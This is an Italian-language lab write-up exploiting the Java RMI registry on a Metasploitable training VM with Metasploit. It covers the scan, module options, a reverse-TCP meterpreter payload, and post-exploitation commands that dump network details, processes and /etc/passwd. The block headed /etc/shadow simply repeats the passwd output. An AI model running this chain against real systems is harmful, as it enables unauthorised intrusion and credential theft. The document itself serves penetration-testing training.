

```
(kali@kali)-[~]
$ nmap 192.168.11.112 -p 1099
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-27 20:35 EDT
Nmap scan report for 192.168.11.112
Host is up (0.0034s latency).

PORT      STATE SERVICE
1099/tcp  open  rmiregistry

Nmap done: 1 IP address (1 host up) scanned in 13.09 seconds
```

Ora possiamo avviare msfconsole

```
>msfconsole
```

Ricerchiamo exploit su questo servizio

```
>search rmi
```

Per filtrare meglio gli exploit

```
>search type:exploit java rmi server
```

```
>use 5
```

```
(multi/misc/java_rmi_server)
```

Per vedere cosa dobbiamo configurare usiamo

```
>show options
```

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

```

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Generic (Java Payload)

View the full module info with the info, or info -d command.
```

come consigliato dall'esercizio, modifichiamo httpdelay

```
>set HTTPDELAY 20
```

```
>set RHOST 192.168.11.112
```

Dovremmo settare una reverse-shell per prendere il possesso della macchina, in questo caso viene utilizzato come payload java/meterpreter/reverse\_tcp

>exploit

Per rispondere alle domande dell'esercizio

1) configurazione della rete

```
[*] None of the specified environment variables were found
meterpreter > ifconfig

Interface 1
=====
Name           : lo - lo
Hardware MAC   : 00:00:00:00:00:00
IPv4 Address   : 127.0.0.1
IPv4 Netmask   : 255.0.0.0
IPv6 Address   : ::1
IPv6 Netmask   : ::

Interface 2
=====
Name           : eth0 - eth0
Hardware MAC   : 00:00:00:00:00:00
IPv4 Address   : 192.168.11.112
IPv4 Netmask   : 255.255.255.0
IPv6 Address   : fe80::a00:27ff:fe49:bb73
IPv6 Netmask   : ::

meterpreter > █
```

2) tabella di routing della vittima  
route

```
meterpreter > route

IPv4 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0      0            lo
192.168.11.112 255.255.255.0 0.0.0.0      0            eth0

IPv6 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::           0            lo
fe80::a00:27ff:fe49:bb73 ::           ::           0            eth0
meterpreter > █
```

3) altro  
ps

```
meterpreter > ps

Process List

PID      Name                               User      Path
-----
1        /sbin/init                         root      /sbin/init
2        [kthreadd]                        root      [kthreadd]
3        [migration/0]                     root      [migration/0]
4        [ksoftirqd/0]                     root      [ksoftirqd/0]
5        [watchdog/0]                      root      [watchdog/0]
6        [events/0]                        root      [events/0]
7        [khelper]                         root      [khelper]
41       [kblockd/0]                       root      [kblockd/0]
44       [kacpid]                          root      [kacpid]
45       [kacpi_notify]                    root      [kacpi_notify]
91       [kseriod]                         root      [kseriod]
130      [pdflush]                         root      [pdflush]
131      [pdflush]                         root      [pdflush]
132      [kswapd0]                         root      [kswapd0]
174      [aio/0]                          root      [aio/0]
1130     [ksnapd]                         root      [ksnapd]
1316     [ata/0]                          root      [ata/0]
1318     [ata_aux]                        root      [ata_aux]
1352     [ksuspend_usbd]                  root      [ksuspend_usbd]
1357     [khubd]                         root      [khubd]
2058     [scsi_eh_0]                     root      [scsi_eh_0]
2142     [scsi_eh_1]                     root      [scsi_eh_1]
2144     [scsi_eh_2]                     root      [scsi_eh_2]
2228     [kjournald]                     root      [kjournald]
2383     /sbin/udevd                      root      /sbin/udevd -- daemon
2613     [kpsmoused]                     root      [kpsmoused]
3570     [kjournald]                     root      [kjournald]
3699     /sbin/portmap                    daemon    /sbin/portmap
3715     /sbin/rpc.statd                  statd     /sbin/rpc.statd
3721     [rpciod/0]                      root      [rpciod/0]
3736     /usr/sbin/rpc.idmapd             root      /usr/sbin/rpc.idmapd
3961     /sbin/getty                      root      /sbin/getty 38400 tty4
3962     /sbin/getty                      root      /sbin/getty 38400 tty5
3968     /sbin/getty                      root      /sbin/getty 38400 tty2
3970     /sbin/getty                      root      /sbin/getty 38400 tty3
3974     /sbin/getty                      root      /sbin/getty 38400 tty6
4010     /sbin/syslogd                    syslog    /sbin/syslogd -u syslog
4045     /bin/dd                          root      /bin/dd bs 1 if /proc/kmsg of /var/run/klogd/kmsg
4047     /sbin/klogd                      klogd     /sbin/klogd -P /var/run/klogd/kmsg
4070     /usr/sbin/named                  bind      /usr/sbin/named -u bind
4092     /usr/sbin/sshd                   root      /usr/sbin/sshd
4168     /bin/sh                          root      /bin/sh /usr/bin/mysqld_safe
4210     /usr/sbin/mysqld                 mysql     /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --us
er=mysql --pid-file=/var/run/mysqld/mysqld.pid --skip-externa
```

sysinfo

```
meterpreter > sysinfo

Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
meterpreter > █
```

cat /etc/passwd

```
meterpreter > cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534:::/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002::,/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
meterpreter > cat /etc/shadow
```

cat /etc/shadow (password)

```
meterpreter > cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534:::/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002::,/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
meterpreter > cat /etc/shadow
```